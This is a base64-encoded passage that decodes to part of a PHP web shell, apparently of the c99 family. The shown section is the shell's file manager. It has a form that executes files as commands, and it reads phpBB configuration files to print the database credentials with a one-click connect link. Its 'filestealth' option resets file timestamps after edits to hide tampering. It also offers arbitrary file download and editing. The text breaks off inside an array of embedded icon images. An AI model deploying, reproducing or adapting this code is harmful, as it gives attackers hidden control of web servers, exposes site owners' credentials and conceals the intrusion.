ICAgICAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykgew0KICAgICAgICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgICAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKSB7DQogICAgICAgICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7DQogICAgICAgICAgICBjYXNlIDMyOg0KICAgICAgICAgICAgY2FzZSAxMDoNCiAgICAgICAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7DQogICAgICAgICAgfQ0KICAgICAgICAgICRuKys7DQogICAgICAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpIHsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9DQogICAgICAgICAgICAkYTEgLj0gIjxicj4iOw0KICAgICAgICAgICAgJGEyIC49ICI8YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPHRhYmxlIGJvcmRlcj0xIGJnY29sb3I9IzY2NjY2Nj4iLg0KICAgICAgICAgICAgICI8dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD4iLg0KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGExLiI8L3RkPiIuDQogICAgICAgICAgICAgIjx0ZCBiZ2NvbG9yPSMwMDAwMDA+Ii4kYTIuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgfQ0KICAgICAgJGVuY29kZWQgPSAiIjsNCiAgICAgIGlmICgkYmFzZTY0ID09IDEpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAyKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gMykgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSA0KSB7DQogICAgICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9kZWNvZGUoJHRleHQpOw0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsNCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBlY2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5QcmV2aWV3PC9hPl08YnI+PGI+QmFzZTY0OiA8L2I+DQoNCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQogICAgICAgIDxub2JyPls8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQoNCiAgICAgICAgPFA+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpIHsNCiAgIGlmICgkd2hpdGUpIHtAb2JfY2xlYW4oKTt9DQogICBlY2hvICRyOw0KICAgaWYgKCR3aGl0ZSkge2NhcHJpdjhleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKSB7DQogICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKSB7DQogICAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkgew0KICAgICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGlzIHNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgIGVjaG8gJHI7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICAgZWNobygkcik7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgew0KICAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgIGlmICghJHdoaXRlKSB7DQogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpIHsNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0Iikgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQoiZm9yd2FyZCI9Pg0KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLg0KIldxc0pBRHM9IiwNCiJob21lIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuDQoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuDQoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsDQoibW9kZSI9Pg0KIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dwTjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLg0KIjJCWmN3R0RvRVhrL1VxNElDQUNlUTZmem1YVGxuczBkZGxlOTliN2NGdllwRVI1NVoxMFh5MWxLdDh3cG9Jc0FDcmRhcUJwWUVZSy8iLg0KImRIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9IQVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJtSkxSMFFBQUFBQUFBRDVRN3QvQUFBQUNYQklXWE1BQUEzWEFBQU4xd0ZDS0p0NEFBQUFCM1JKVFVVSDFRc0tFamtOK2Qxd1VBQUFBWDlKUkVGVU9NdWxrVTJJVWxFWWhwOWpLdjVBcG9zUVdnUkJ0QTZDbVNDYTVTempZaEcwcVlnZ2lQNlkzV3htdHJNSW9sMVFNODRxUktSbFNWQzJiQmNZUnB1SUlpZ0ZDN0Y3ajBmUC9XWng3UXJpQmMyWER3NmN3L2U4TCs5Umx5Nlh0b3JGNGpaVE1zWUU1OERjMnR2ZGYwS0UxSjE3dCtYNjFSc3pIN1